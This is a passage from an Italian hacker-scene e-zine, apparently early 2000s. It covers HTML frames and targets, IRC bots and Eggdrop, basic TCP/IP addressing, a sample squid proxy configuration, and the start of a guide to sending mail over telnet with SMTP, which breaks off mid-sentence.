quindi vediamo kome kostruirli e soprattutto kome gestirli al meglio evitando di abusarne :) LA PAGINA MASTER La creazione dei frame e' molto semplice, kosi' kome la loro sintassi, e per utilizzarli e' necessario kreare un dokumento (master) nel quale sono contenute le direttive per la visualizzazione della pagina. Molto piu' facile a farsi ke a dirsi, soprattutto se sono io a doverne parlare ;) Vediamo kome kostruire una classica paginotta master : <HTML> <HEAD> <TITLE>Selen master page Kavolo, non sono stato per niente kiaro :) Comunque prendete questo esempio solo per capire una cosa : la pagina master NON UTILIZZA i tag BODY. Al loro posto e' sbukato sto bel tag FRAMESET... a ke kosa servira' mai ? Cotesto TAG serve a dividere la pagina nelle varie parti (frame) e a determinare la grandezza di ciascuna di queste parti e cosa MOLTO importante se la divisione deve essere operata in *COLONNE* o in *RIGHE*. Con due esempiucci penso ke kiariro' tutto : ES. 1 Pagina di Selen kon due frame uno a destra e uno a sinistra ES. 2 Pagina di Selen kon due frame uno in alto e uno in basso Per ora non preoccupatevi troppo del fatto ke non ho ancora spiegato il tag il quale serve solo a definire le pagine ke verranno visualizzate e cerchiamo di concentrarci sul tag . Vediamone i vari attributi (pokini e molto semplici) : BORDER ----> Indica lo spessore del bordo per i frame "figli" Uso : BORDER="0,1,2...n" COLS ----> Serve a determinare il numero e la dimensione di ciascuna delle colonne da utilizzare nella paginotta. Uso : COLS="50%,200,*" Mettiamo un po' di kiarezza : COLS puo' essere utilizzato sia dando i valori in *PERCENTUALE* e in tal kaso il browser "ridimensionera'" la pagina di conseguenza, oppure con numeri *INTERI* e *ASSOLUTI* ke indikeranno i pixel di ogni frame, la terza possibilita', cioe' "*" lascia ke questo frame venga *AUTOMATICAMENTE* creato riempiendo lo spazio lasciato disponibile dagli altri framez. Questo e' *MOLTO* importante perke', kome avranno gia' pensato i piu' attenti tra voi, non tutti i browser lavorano sulla stessa definizione (800X600 o 640X480 ecc) e quindi la stessa pagina assume "dimensioni" diverse... il problema sembra non porsi nel kaso della "percentuale" (e infatti e' kosi'), ma talvolta e' *NECESSARIO* specifikare una grandezza *PRECISA* per un frame (nel kaso ad es di un'immagine, per evitare sfondo indesiderato :)) ). In tali kasi, quando cioe' si da un valore "preciso" in pixel e' buona (nonche' kosigliatissima) norma dare un valore di "*" di "respiro" per il browser, evitando cosi' ke la pagina risulti nella migliore delle ipotesi *ORRIBILE*. Spero abbiate kapito il diskorso perke' non lo ripetero' piu' per il ROWS e d'ora in avanti lo daro' per skontato :) FRAMEBORDER ----> Nel perfetto stile binario decide se i FRAMEZ devono avere un bordo ke li separi o no Uso : FRAMEBORDER="0,1" --> 0 = NO, 1 = YES ROWS ------> Idem kome per il COLS, solo ke la divisione avviene su righe, quindi *ORIZZONTALMENTE*. Uso : ROWS="25%,400,*" Una kosa abbastanza skontata : il numero di frame ke verranno kreati e' determinato dal numero di valori messi tra virgolette : ROWS="100,*" --> 2 framez ROWS="100,100,100,100,*" --> 5 framez Bene, bene, bene... abbiamo kapito kome si divide una paginozza ora vediamo di metterci dentro le varie parti utilizzando il tag ke *NON* ha tag di kiusura. Innanzitutto, kome kredo avrete intuito, ci vuole un TAG per ogni divisione in COLS o in ROWS :)) Vediamone i vari parametri : FRAMEBORDER ---> Esattamente tutto come per il tag kon l'unika differenza ke la presenza o meno del bordo interessa *SOLO* il frame in questione e non tutti i framez figli. MARGINHEIGHT,--> Indicano la grandezza in *pixel* dei margini alto/basso e MARGINWIDTH sinistra, destra. Uso : MARGINHEIGHT="4" NAME --------> Diamo un *NOME* al nostro FRAME... potrebbe sembrare una cosa inutile e vezzosetta, invece e' la piu' grande potenzialita' dei framez, ke permette di influire su un frame diverso da quello su kui si sta lavorando (spieghero' tutto bene nella parte dedicata al "parametro" TARGET, subito dopo la fine della trattazione del tag ) NORESIZE ------> Impedisce ke il frame venga ridimensionato dall'utente Uso : NORESIZE (punto e basta!! :) ) SCROLLING -----> Permette di scegliere se vojamo le scrollbar nel nostro frame. Uso : SCROLLBAR="yes,no,auto" Con "auto" il browser visualizzera' le barre solo se necessarie. SRC -----------> Indica ke pagina visualizzare nel framez. Uso : SRC="selen.html" (valgono le regole dei path ovviamente) Ekkoli quaaaa, tutti i parametrozzi... facili no? Inoltre resta sempre valido il mio konsiglino...provate, provate, provate e vedrete quello ke succede. Per rendere tutto piu' kiaro faro' un esempiuccio *quasi* reale : Selen page Generalmente io, ke sono mooolto pigro, non faccio i rientri (sebbene rendano un po' piu' leggibile il kodice), ma in questo kaso l'ho fatto per chiarire una kosa molto semplice, la presenza cioe' di frame *annidati* :) L'aspetto della pagina sarebbe infatti questo : un titolo in alto largo kome tutta la finestra mentre il secondo frame "rows" viene a sua volta diviso in due parti... kome vedete il metodo piu' utilizzato e' quello di definire un valore assoluto in pixel e dare per il resto "*" :) IL TARGET Ora ke abbiamo kapito kome kreare una semplice barra di menu' a sinistra e una main page a destra il problema ke ci si pone e' questo : "Se io linko kol tag (ve lo rikordate vero :)) ) una pagina a uno dei pulsanti nel mio menuozzo questa mi appare nel frame del menu'!!! E questo non e' professionallleeeeeeeeeee :))" Come si risolve questo problemoso e problematico problema?? Quelli del W3C hanno avuto la splendida pensata di creare un parametro ad hoc per il tag rendendo tutto estremamente semplice... questo parametro e' TARGET = "nomeframe" :)) In questo modo possiamo indirizzare l'output del link (mi rikorda un po' i ">>" :)) ) nella parte che piu' ci aggrada ... rifacendoci all'esempio prima nella pagina "menu.html" avremmo : [...] foto Storielle [...] Kapito? Facile no :) Bene resta un'ultima kosa, quattro target gia' predisposti dal consorzio per alkune operazioni, ke sono preceduti dall'"_" underscore. Questi sono : _blank --> nuova finestra kon l'url specificato _parent --> nuova finestra nel frame genitore di quello korrente _top --> visualizza l'url nella finestra kompleta _self --> L'URL sostituisce il frame in cui si trovava *originariamente* il collegamento. E direi ke anke per i framez questo e' tutto... ora kon la prima parte di base e kon questa sekonda parte potrete gia' divertirvi parekkio, aspettando i prox artikoli ke parleranno di FORM, CSS, SSH e Apache in generale e quant'altro mi viene in mente :)) Alla prox [T]wister - t-wister@libero.it RINGRAZIAMENTI : (ekkavolo volevate ke li dimentikassi? skrivo 1000 righe solo per questo momento :)) ) Il primo, enorme, uniko, e chi piu' ne ha ne metta, ringraziamento nonche' dedica di questo scritto va a ... ILARIA e ai suoi occhi e al suo ridere... grazie di tutto :) Poi gli storici : Dado --> vicino di banco :) zeta-K -> c' e' bisogno di dire altro del grande zeta?? Chiara -> fila retro di me... m'aiutato nel periodo piu' difficile :) Diego e Andrea -> raga siete unici!!! Lu, Lu, Sarah, Eli, Manu e tutte le altre ke per motivi di spazio non nomino: Ma chi ce l'ha una klasse kosi'! Per i broz : X3V|L574R --> kekkene' ne diciate, un grande ^Ragno^ ----> Il piu' broz di tutti :) {D4nG3r} --> kosi' me lo ingrazio per l'ezine :)), skerzi a parte sei un kapo :) zapotecz ----> zapo zapone!!! ^Gibson^ --> MARPIONACCIOOOOOOOO !!!!!!!!!!!!!!!!!!!! Xerox, Yap, Nuvo, e gli altri di #mentor I ragazzacci terribili di #cuneo (tutti quelli per kui non c'e' un fuck) Ultimissimo ma non per importanza : `dize` :)) ciaoz fratellino :) E questo era veramente tutto...probabilmente passero' alla storia kome l'uomo kon i saluti piu' lunghi dell'articolo :) .==================================================================[ misc ]====. | BOT per IRC - Introduzione | °===========================================[ R3d|_4nC3 - redlance@libero.it ]=° Di certo questa non vuole essere una trattazione completa ed esaustiva su cos'e', perche' e' e come si usa un Bot per IRC. Semplicemente vuole essere la trasposizione dell'esperienza di uno che i bot li usa da ormai diverso tempo, sia da semplice utente, sia gestendoli da "owner". Ma iniziamo dall'inizio. - Cos'e' IRC? Tre parole per dire cos'e' IRC: Internet Relay Chat. Al di la' delle sigle, IRC e' una rete di PC connessi tra di loro che si preoccupano principalmente di gestire le frasi che gli utenti connessi a uno di questi server si scambiano in tempo reale. Ovvero, se io utente U1 dal mio PC connesso (con un client IRC) al server IRC S1 scrivo la frase "Ciao mondo" diretta all'utente U2 connesso al server S2, l'utente U2 vedra' arrivare in tempo reale la frase. A quel punto io potro' continuare a scrivere o aspettare delle frasi da U2, che anche io vedro' arrivare in tempo reale. Questa forma di scambio messaggi tra due utenti prende il nome di "QUERY" e puo' essere paragonata a un dialogo tra due persone. Nella rete IRC esistono anche i "CANALI", ovvero delle "stanze" dove piu' utenti possono ritrovarsi e "chattare" tutti insieme, in modo che quello che dice un utente viene visto anche da tutti gli altri. I canali tendono spesso a diventare luoghi di discussioni, offese, insulti, etc etc... per cui sono previsti certi tipi di "gestioni del canale". Un canale puo' avere certi tipi di attributi, ovvero: puo' essere nascosto, puo' essere moderato, puo' essere a invito, puo' essere protetto da chiave, puo' avere una lista di ban (utenti che non ci possono entrare), ma sono gli utenti che frequentano il canale a dover settare queste impostazioni. E cosi' ritorniamo al problema iniziale, ovvero: se tutti gli utenti hanno tutti i diritti su un canale, le impostazioni del canale non hanno senso... Per cui in un canale possiamo trovare 3 tipi di utenti: gli operatori (identificati da una @), gli utenti VOICED (identificati da un + o una v) e gli utenti normali. Gli operatori sono quegli utenti che hanno i pieni poteri sul canale: possono cambiare impostazioni, possono cacciare la gente, etc etc... Sulla rete IRC (che non ha registrazione dei canali) la prima persona che entra su un canale, automaticamente diventa Operatore (@) e, a suo volta, puo' "oppare" (ovvero far divenire operatori) altre persone. Ma questo non e' molto bello, dato che ci sono certe persone che dovrebbero poter gestire il canale, ma di certo queste persone non possono stare connesse 24h/24 collegate a Internet, con il client IRC aperto e sul quel canale... per cui ecco i BOT! - Cos'e' un Bot? Un BOT lo possiamo vedere come "un programma di utilita' per IRC"... Cosa intendo dicendo cio'?... Semplicemente che grazie a questi programmi si possono effettuare certe cose che su IRC non sono gia' previste. Facciamo un esempio: in IRC i canali vengono creati al momento in cui ci entra la prima persona, e questa ottiene automaticamente l'@p... Ma se io ho un canale "mio" o di un gruppo di persone (vedi il canale #SLUG su IRCNet), non voglio che chiunque possa avere l'@p e magari escludermi la possibilita' di entrare in quel canale (magari mettendolo INVITE-ONLY +i oppure mettendo un ban sul mio IP). Se io metto un bot su questo canale, il canale non verra' mai chiuso dal server IRC, perche' il bot ci sara' sempre (ci sono moltissime eccezioni a cio', ma per ora lasciamo stare). Inoltre, se nessuno gli leva l'@p, generalmente il bot lo avra' (se e' stato il primo a entrare sul dato canale). E potra' dare l'@p (tramite certi comandi) a noi utenti riconosciuti e che legittimamente dovremmo avere l'@p... In questa forma per cui i bot possono essere visti come una specie di "regolamentatori" dei canali. Altro esempio: ci sono dei gruppi su IRC dedicati alla IRCWar, ovvero "guerra per il possesso dei canali". Sono dei gruppi (crew) generalmente bene attrezzati che riescono (grazie alla loro conoscenza della Rete) a sfruttare certe particolarita' di IRC o dei server IRC per avere l'@p anche se nessuno li fa diventare @p... ma se un canale e' "protetto" da un bot (meglio se piu' d'uno), sara' molto piu' difficile prenderne possesso... Altro esempio ancora: i bot possono avere moltissime funzioni di utilita', tipo: possiamo far si' che il bot "ricordi" per noi quando una certa persona (con un dato nick) e' entrata su uno dei canali del bot, possiamo sfruttare il bot per interscambio di file (ovvero il bot puo' funzionare tipo una specie di sito FTP), e tante altre... - Ma in definitiva cos'e' un BOT. Un bot non e' altro che un programma che (come un qualunque utente), si connette ad un server IRC e, generalmente, entra su qualche canale... Questa e' la base. Ovviamente per poterlo sfruttare bene questo programma dovrebbe essere sempre connesso a IRC, per cui dovrebbe essere eseguito su un computer che abbia una connessione permanente a Internet. Sopra questa base si possono costruire moltissime opzioni: il bot puo' rispondere a comandi (ovvero certe parole) che riceve via PRIVMSG, puo' (per velocita' e funzionalita') "dialogare" con l'utente tramite una DCC CHAT, puo' mandare (connettendosi ai giusti IP con il corretto protocollo) messaggi ICQ, MAIL e cosi' via... Insomma, un bot non e' altro che un programma per Internet, e quindi puo' fare tutto cio' che un qualunque programma puo' fare su Internet... - Perche' reinventare l'acqua calda? Bene. A questo punto sappiamo cos'e' un bot... Ma di certo non tutti hanno le conoscenze e il tempo per scrivere un tale programma, che, in base alle caratteristiche che si vogliono implementare, puo' essere piu' o meno complicato. Come fare quindi? Nessun problema... Con il diffondersi di IRC, l'interesse verso i bot e' cresciuto, cosi' come la necessita' di un tipo di bot semplice da usare, diffuso e standard. L'EGGDROP (questo il nome del piu' diffuso programma bot) e' stato ideato da Robey Pointer nel lontano Dicembre del 1993 per fermare le guerre sul canale #gayteen (questo e' cio' che e' scritto all'inizio del file eggdrop.doc) e deriva da un precedente programma sempre di R. Pointer chiamato "Unrest". Dal gennaio 1997 l'Eggdrop e' distribuito con licenza GNU General Public License. Nei sorgenti possiamo trovarci 3 files di pubblico dominio: "match.c" e' di Chris Fuller, "net.c" e' di Robey Pointer e "blowfish.c" e' di vari autori. L'EGGDROP e' programmato interamente in C, ed e' composto da un eseguibile principale e da un certo numero di moduli, che realizzano funzioni aggiuntive (ma spesso necessarie, tipo il supporto per il collegamento ai server IRC). E' inoltre un esempio di programmazione a eventi... infatti per aggiungere funzionalita' al bot si possono scrivere degli script esterni in TCL che registrano l'esecuzione di certe procedure al verificarsi di certi eventi. Il TCL e' un linguaggio di scripting piuttosto facile da usare e con una buona (se non ottima) gestione delle stringhe di caratteri. Dove scaricare un eggdrop? Ma da http://www.eggheads.org non vi pare? E' il sito ufficiale degli sviluppatori di eggdrop, con tutti i file in sorgente e tutte le info che possono interessare. .==================================================================[ misc ]====. | Il protocollo TCP/IP | °==============================================[ cl0ud - cloudjj@hotmail.com ]=° Prima di cominciare... un saluto va a X3V|L574R e {D4nG3r} che mi hanno permesso di scrivere su questa zine :) Ringrazio inoltre Th... Incominciamo... in questo articolo parleremo del protocollo TCP/IP e INTERNET. Il TCP/IP e' una famiglia di protocolli sviluppata da Arpanet. Da Arpanet e' nata poi l'attuale Internet basata anch'essa sul TCP/IP e costituita da moltissime reti connesse fra loro. Si tratta di reti i cui messaggi vengono suddivisi in pacchetti piu' piccoli prima di essere spediti. I singoli pacchetti possono essere spediti al destinatario anche attraverso percorsi diversi all'interno della rete geografica. Il destinatario deve poi assemblarli poi nell'ordine corretto e verificare se sono presenti tutti i pacchetti. IL TCP/IP oggi e' molto diffusa sulle reti locali, sui sistemi Unix e sulla rete. Questa famiglia di protocolli puo' essere suddivisa nei seguenti 5 livelli: -Applicativo: cioe' comprende i protocolli a diretto contatto con i programmi degli utenti... per es. SMTP per la posta elettronica, FTP per il trasferimento di file ... -TCP: prende il nome del suo protocollo principale... Trasmission Control Protocol. Esso verifica se sono arrivati tutti i pacchetti previsti ed eventualmente richiede al mittente quelli mancanti. -IP: Internet Protocol. La funzione principale del protocollo Ip e' quello di effettuare l'instradamento negli eventuali computer "intermedi" chiamati router che un pacchetto deve attraversare prima di arrivare a destinazione. L'instradamento detto anche routing comprende quelle funzionalita' che permettono di decidere quale sia la strada migliore da prendere per raggiungere il destinatario. -Livello di interfaccia con la rete: e' quello dei protocolli che producono la sequenza di bit dei messaggi da inviare in rete. -Livello fisico: e' quello in cui la trama viene trasformata in impulsi codificati da inviare sulla rete o sul cavo cui e' connesso il computer. Livelli: ------------------------------------------------ | SMTP, FTP, SNMP, DNS, SMB, HTTP, TELNET | Applicativo ------------------------------------------------ | TCP | UDP | Trasporto ------------------------------------------------ | IP | Internet ------------------------------------------------ | INTERFACCIA DI RETE | Interfaccia con la rete ------------------------------------------------ | Protocollo della rete locale | Rete fisica ------------------------------------------------ I protocolli a livello applicativo di TCP/IP sono programmi che assolvono funzioni di vario tipo. Sotto alcuni tra i piu' noti: -SMTP (Simple Mail Transfer Protocol) per lo scambia di messaggi di tipo testo (e' impiegato dai programmi di posta elettronica Microsoft Outlook, Eudora...). Recentemente e' uscita un'estensione del protocollo SMTP che garantisce una maggiore sicurezza e lo scambi di documenti multimediali (ESMTP/MIME). -FTP (File Transfer Protocol) per il trasferimento di file fra due computer. -SNMP (Simple Network Management Protocol) per la gestione degli apparati di rete (hub, gruppi di continuita'...). -DNS (Domain Name Server) per determinare gli indirizzi IP (codice di quattro numeri, ciascuno compreso fra 0 e 255, assegnato univocamente a ogni computer della rete). -TELNET per avere accesso tramite una rete a un computer remoto al fine di utilizzarne le risorse come se si lavorasse direttamente su quel sistema. Tali protocolli consentono a due computer di comunicare. A tal fine i computer connessi devono disporre entrambi dello stesso protocollo. Quindi... se la comunicazione riguarda lo scambio dei messaggi di posta elettronica, devono disporre del protocollo SMTP; se la comunicazione riguarda lo scambio dei dati occorre il protocollo FTP ecc. La comunicazione fra client e server avviene tramite le cosiddette "porte" o "socket"dei protocolli TCP e UDP, le quali possono essere viste come punti attraverso i quali i programmi accedono alla rete. Ogni programma che puo' lavorare in rete deve essere associato a un protocollo (TCP, UDP o entrambi) e a una porta ben precisa. L'elenco delle porte lo si puo' trovare nel file /etc/services di ogni computer nella forma: nome-programma porta/protocollo altro-nome-programma #commenti Alcune righe tratti dal file /etc/services: telnet 23/tcp domain 53/tcp domain 53/udp login 513/tcp #BSD rlogind il cui significato e' il seguente: - telnet utilizza la porta 23 con il protocollo TCP -domain utilizza la porta 53 con il protocollo TCP o la porta 53 con il protocollo UDP (e' molto importante che la porta 53 del protocollo TCP e' diversa dalla porta 53 con UDP) -login utilizzando la porta 513 con il protocollo TCP I servizi di rete sono attivati da daemon, programmi sempre in funzione in background, sempre in ascolto sulle varie porte. I daemon posso essere di due tipi: -autonomi -attivati dal superserver inetd. Al livello di IP viene aggiunta un'intestazione (Header IP) che comprende fra l'altro l'indirizzo del mittente e del destinatario. Il pacchetto generato dal protocollo IP assume questa forma: ___________________________________________________________________________ | | | | | | | | | header IP | header TCP (UDP) | Dati | | (mittente, | (porta sorgente, porta | (generato da FTP, SMTP...) | | destinatario,...) | destinatario...) | | | | | | |___________________|________________________|____________________________| A livello Ip i dati possono essere frammentati e spediti al destinatario in pacchetti separati (questa nota e' contenuta nell'header IP). La divisione o frammentazione di un messaggio in pacchetti piu' piccoli e' effettuata per due motivi: il primo, per impedire a un utente di occupare la rete per un periodo di tempo troppo lungo quando deve essere trasmessa una grossa quantita' di dati; secondo, per ottenere il rilevamento e la correzione degli errori (ogni pacchetto viene controllato in ricezione dal protocollo TCP e, se presenta errori, viene richiesta la ritrasmissione solo di quel pacchetto e non di tutto il messaggio). Ogni computer di una rete deve essere identificato in un modo univoco con un "indirizzo". In una rete che si basa sul protocollo TCP/IP l'indirizzo viene valorizzato al livello IP. Esso e' in numero di 32 bit , scritto nella forma di un gruppo di quattro numeri separati da un punto, nella forma seguente: a.b.c.d (e.g. 12.145.67.191) Ciascun numero e' composto da 8 bit, ovvero puo' essere compreso fra 0 e 255 (voglio ricordare che infatti il numero 255 in binario e' rappresentato come 11111111). Ogni indirizzo e' composto da due parti: -il numero della rete (che deve essere uguale per tutti i pc connessi alla stessa rete) -il numero del computer connesso alla stessa rete. Inoltre gli indirizzi si suddividono nelle seguenti tre classi: -Classe A: la rete e' individuata dal primo numero degli indirizzi IP (cioe' da a, che deve essere compreso fra 1 e 126): gli altri tre gruppi di numeri (b.c.d) individuano il computer. Le reti di classe A sono le piu' grosse e ve ne sono non piu' di 150 al mondo!! -Classe B: la rete e' individuata da a.b (con a compreso fra 128 e 191, b fra 1 e 254). I computer della rete sono identificabili dai numeri c.d. -Classe C: la rete e' individuata da a.b.c (con a compreso tra 128 e 191, b fra 1 e 254 e c fra 1 e 254). I computer sono identificabili dall'ultimo numero dell'indirizzo (d). Esistono anche altre due classi di indirizzi: la Classe D dedicata al multicast address, la classe E riservata per usi futuri... L'indirizzo di rete in genere viene individuato con un netmask (una "maschera" della rete), ottenuto: - sostituendo il numero 1 ai numeri dell'indirizzo ip della rete - sostituendo il numero 0 ai rimanenti numeri dell'indirizzo IP (cioe' quelli relativi all'indirizzo del computer). Una "regola pratica" per scrivere il netmask e' di utilizzare: - Il numero 255 in corrispondenza dell'indirizzo di rete; - Il numero 0 in corrispondenza dei numeri dell'indirizzo IP che caratterizzano il computer. Altri tipi di indirizzamento sono riservati per scopi particolari. Ad esempio: - 127 e' riservato per controlli di ritorno ciclico e per le occasioni in cui un host ha bisogno di comunicare con se stesso. 127.0.0.1 per default e' il localhost, cioe' un alias del proprio computer; - 255.255.255.255 e' l'indirizzo di broadcast ovvero l'indirizzo che consente di inviare un messaggio a tutti i computer della rete. Commenti, suggerimenti e correzioni a: cloudjj@hotmail.com .==================================================================[ misc ]====. | The squid proxy server | °=========================================[ SMASHING - latsanfox@hotmail.com ]=° Immagino che molti di voi abbiano gia' visto le varie impostazioni di cache (o file temporanei) di netscape o internet explorer. Aumentandone i valori (a scapito dello spazio su disco e maggiore occupazione della cpu) si ottiene una maggiore velocita' su quei siti formati da pagine statiche (per capirci che sono sempre uguali) evitando cosi' di doverle scaricare di nuovo. Per quanto riguarda le pagine dinamiche, almeno si puo' fare a meno di riscaricare continuamente le immagini che contengono. In questo scenario entrano in gioco i proxy server. Potete immaginare un proxy server come un computer abbastanza potente, dotato di un software adatto e di una cache su disco considerevole, che per noi scarica le informazioni che ci servono e le rende disponibili anche agli altri utenti. Facciamo un esempio: io sono collegato con Tiscalinet che dispone di un proxy server. Accedendo ad un sito remoto che si trova in Giappone, non utilizzando il programma, scarico il sito ad una velocita' di 1 KB/sec. Dopo aver pulito la cache del mio netscape (sarebbe stupido non farlo, perche' tutte le informazioni sono ora anche nella mia cache locale), setto il proxy server e riapro lo stesso sito. Velocita' media 3 KB/sec!! Tutto questo perche' il proxy server aveva gia' memorizzato quel sito (visitato in precedenza da qualche altro utente) e quindi lo scaricamento si e' effettuato esclusivamente nelle rete del provider senza finire in Giappone! Anche se non l'avesse avuto memorizzato, di certo il proxy server avrebbe impiegato meno di noi nel prelevare il sito e renderlo disponibile (di solito i proxy vengono collegati su linee ad alta velocita'). Se tutti gli utenti Tiscalinet (che non sono pochi!!) utilizzassero il proxy server, si avrebbe una considerevole riduzione della banda usata, consentendo di navigare piu' velocemente anche in quei siti che non sono proprio vicini all'Italia e spesso lenti. In molti non utilizzano il proxy server o perche' non lo conoscono o perche' sembra una cosa inutile. Chi e' connesso con TIN avra' di certo notato la LENTEZZA in determinati momenti della rete. Immaginatevi migliaia e migliaia di utenti che si connettono in siti stranieri e italiani riempiendo completamente la banda a disposizione di un provider per quanto esso possa essere grande. In questi casi la soluzione del proxy potrebbe apparire come una delle piu' valide per incrementarne la velocita'. I maggiori provider dispongono di un server proxy e molto spesso i cosiddetti provider gratis non dispongono di tale server, il che potrebbe compromettere la velocita' con l'aumentare degli utenti che accedono alla rete. Alcuni provider che usano un proxy server sono ad esempio TIN, Nettuno, Galactica, etc. Al momento l'unico provider gratis che utilizza un proxy server e' Tiscalinet, una scelta molto saggia dato che oramai la copertura delle rete in Italia e' pressoche' totale. Altri come Jumpy, Kataweb, NGI, Albacom, Interfree, Supereva etc non dispongono di un proxy server. Ognuno di noi potrebbe creare il proprio proxy server per la sua rete locale (quindi da 2 utenti in su) connessa attraverso un collegamento ad internet non velocissimo (ISDN, PSTN). Utilizzando il proxy server si evita che gli utenti della rete richiedano piu' volte lo stesso sito e ogni volta si venga ad occupare la banda gia' limitata per scaricarlo. Ad esempio immaginate quante volte in un giorno un utente apre il motore di ricerca altavista. Se la copia del sito viene mantenuta nel proxy server, si piu' comodamente ridurre la cache del browser e ottimizzare l'utilizzo della banda consentendo una navigazione agevole e veloce. Inoltre un proxy server utilizzato in locale puo' essere agganciato a quello del proprio provider o di un'altra rete. Cosi' facendo si ha il doppio vantaggio di velocizzare la propria rete e di evitare sprechi di banda anche per il provider. Dopo questa breve introduzione passo ad illustrare in specifico cosa e' lo squid proxy server. Lo squid e' un proxy server completamente gratuito che chiunque puo' utilizzare. Funziona sotto Linux in background e richiede un pc con risorse di disco e di memoria RAM adeguate. E' rivolto soprattutto a chi possiede a casa o in azienda una lan (una rete locale per capirci) che e' connessa ad internet con linee a bassa velocita' (isdn, pstn, cdn < 128 kbps). Quando il numero di utenti che utilizza internet sale, la banda viene completamente utilizzata e c'e' un rallentamento globale. Se in questo scenario aggiungiamo un macchina linux con un proxy server connesso direttamente ad internet, si riesce a far diminuire il traffico verso internet e consentendo maggiori scambi di informazioni sulla lan interna tra utenti e il proxy server. In questo modo la rete sarebbe ottimizzata per garantire la massima velocita'. Inoltre c'e' una nota di fatto: lo squid e' il proxy server piu' utilizzato in circolazione (anche tiscalinet lo usa) ed e' possibile che un proxy riceva le informazioni da un altro e viceversa. Quindi: massimo risparmio di banda, massima velocita' sempre. Un esempio di configurazione del proxy server con commenti nei parametri principali (file squid.conf versione 2 scaricabile su http://squid.nlanr.net/): #Questo e' un commento #Opzioni di rete #La porta sulla quale opera lo squid proxy, personalizzabile a piacere. Usualmente e' la 8080 http_port 3128 #La porta sulla quale i proxy server si scambiano le informazioni. Da non cambiare se si vuole utilizzare questa funzione. icp_port 3130 #Opzioni per la selezione di cache remote #Utilizzo del proxy server di tiscalinet per prelevare le informazioni #sintassi: cache_peer hostname parent porta_proxy porta_icp cache_peer proxy-mi.tiscalinet.it parent 3128 3130 #Opzioni riguardo le dimensioni delle cache #Dimensione massima delle dimensioni degli oggetti ospitabili in memoria (oggetti in arrivo, oggetti "caldi" (java, activex etc), oggetti non in cache) cache_mem 8 MB #Dimensione massima degli oggetti salvabili nella cache (cambiare questo valore per ottimizzare lo spazio su disco utilizzato) maximum_object_size 4096 KB #Opzioni riguardanti i log e le directory della cache #Impostazione principale delle cache (sintassi: cache_dir spazioinMB numerosottodirectorydiprimolevel numerosottodirectorydisecondolevel) #i valori di numerosottodirectorydiprimolivello e numerosottodirectorydisecondolivello sono di default cache_dir 100 16 256 #I log vengono salvati nelle directory predefinite e non necessitano di cambiamenti #Opzioni per i programmi esterni di supporto #Dipendente dal numero di utenti. Risolvono e salvano gli hostname nei propri ip. Se ci sono molti utenti e il sistema rallenta aumentare questo valore. dns_children 5 #Opzioni controllo degli accessi #Assegna un nome ai vari possibili accessi alla cache acl all src 0.0.0.0/0.0.0.0 acl manager proto cache_object acl localhost src 127.0.0.1/255.255.255.255 #Oltre a quelli di default suggerirei di aggiungere anche quello della propria rete locale (se il proxy sara' dietro firewall e la sicurezza interna nella rete non e' importante #potete lasciare solamente la riga "acl all src 0.0.0.0/0.0.0.0", evitando la configurazione di altri elementi sottostanti). acl retelocale src 192.168.0.0./255.255.255.0 #Definire chi ha accesso al proxy http_access allow manager localhost retelocale http_access deny all #Definire con quali proxy puo' scambiare le informazioni icp_access allow all miss_access allow all #Parametri di amministrazione (suggerirei altamente da modificare) #Email di chi gestisce il proxy server cache_mgr tua@email.qui #Settare il nome dell'utente e del gruppo aldila' di chi ha lanciato il servizio (ad esempio il root) #Per ovvi motivi di sicurezza sarebbe da creare un utente a parte con un accesso limitato alle proprie directory cache_effective_user squid cache_effective_group squid #Host visibile nei messaggi di errore, log etc visible_hostname www-cache.myhost.net #Fine della configurazione .==================================================================[ misc ]====. | Gestione della Posta elettronica tramite Telnet | °===================================================================[ m3r|ak ]=° Molte volte e' capitato, specialmente con l'avvento di tutti questi Provider free, di gestire piu' indirizzi di posta elettronica. Ma come si fa, se per esempio si usa il provider xy, ad accedere alla posta elettronica di yy? Questo problema invece non sussiste se la gestione della posta avviene tramite WEB, tipo Jumpy. Normalmente, si potrebbe usare lo stesso client di posta per gestire i vari Provider, ma questo non e' possibile per TUTTI. Perche' questo? Perche' ormai con la diffusione di Internet e tutti i suoi relativi servizi, un fenomeno che ormai si sta diffondendo - ed e' il piu' FASTIDIOSO -, e' quello dello "spamming". Consiste nel mandare un continuo numero di messaggi pubblicitari e non, via e-mail o tramite gruppi di discussioni. Una delle tecniche piu' usate e' appunto quella di utilizzare un altro server di gestione della posta per mandare questi messaggi, con la conseguenza dell'intasamento della/e casella/e e-mail del destinatario. Per premunirsi, i provider hanno imposto che l'unico modo di mandare messaggi di posta sia quello di appartenere all'interno del proprio dominio oppure da altri domini autorizzati. Arriviamo al dunque :DD Come mandare la posta o come controllarla usando un abbonamento qualsiasi? Innanzitutto, i protokolli usati per inviare e ricevere la posta sono i seguenti: - Simple Mail Transfer Protocol (SMTP); - Post Office Protocol 3 (POP3) ormai e' il protocollo piu' usato ma ho visto anche altri servers che usano ancora il vecchio ossia il POP2, che a differenza del pop3, e' in ascolto sulla 109; - Internet Mail Access Protocol (IMAP) di cui parleremo in seguito; Il Simple Mail Transfer Protocol permette di trasferire messaggi fra 2 host, utilizzando il TCP/IP. Un server SMTP e' in ascolto sulla porta 25... ma andiamoci piano! So gia' che vi starete chiedendo che significato abbiano questi numeri? Sono stati imposti come standard, ma possono essere cambiati: tutti i Servizi sono presenti sotto Win nella directory /windows, mentre sotto Linux sono situati in /etc, il file in questione e' SERVICES. Per stabilire una connessione SMTP, si devono passare piu' fasi, 6 in tutto: 1. Collegarsi via Telnet alla Porta 25 del server in questione. Il client invece usa una porta a scelta maggiore di 1024: se la connessione viene accettata dall'altra parte il server rispondera' con il nome del SERVER suo di Posta con relativa versione; 2. Per stabilire la sessione si deve impartire il comando HELO e il FQDN, ossia Fully Qualified Domain Name del client; (esempio: HELO libero.it), e il server rispondera' con ; 3. Adesso bisogna informare il SERVER su chi sta inviando il messaggio: per fare questo usare MAIL FROM: e poi il MITTENTE. Di solito il mittente viene scritto senza essere racchiuso da "< e >", questo dipende dal server; per esempio tiscali vuole che il mittente e il destinatario siano racchiusi tra "< e >": di conseguenza il server SMTP rispondera' con ; 4. Ora bisogna specificare il DESTINATARIO al Server in questione. Per fare cio' impartite il comando RCPT TO: e' il destinatario, anche in questo caso rispondera' con , vale la stessa regola del punto 3, per il DESTINATARIO; 5. Adesso il Server SMTP e' pronto a trasmettere il messaggio; digitate DATA: ora il server ci comunica che per terminare il messaggio e' necessario digitare il punto dopo una riga vuota. In questa fase e' possibile modificare anche gli HEADERS del messaggio di POSTA, ossia tutte 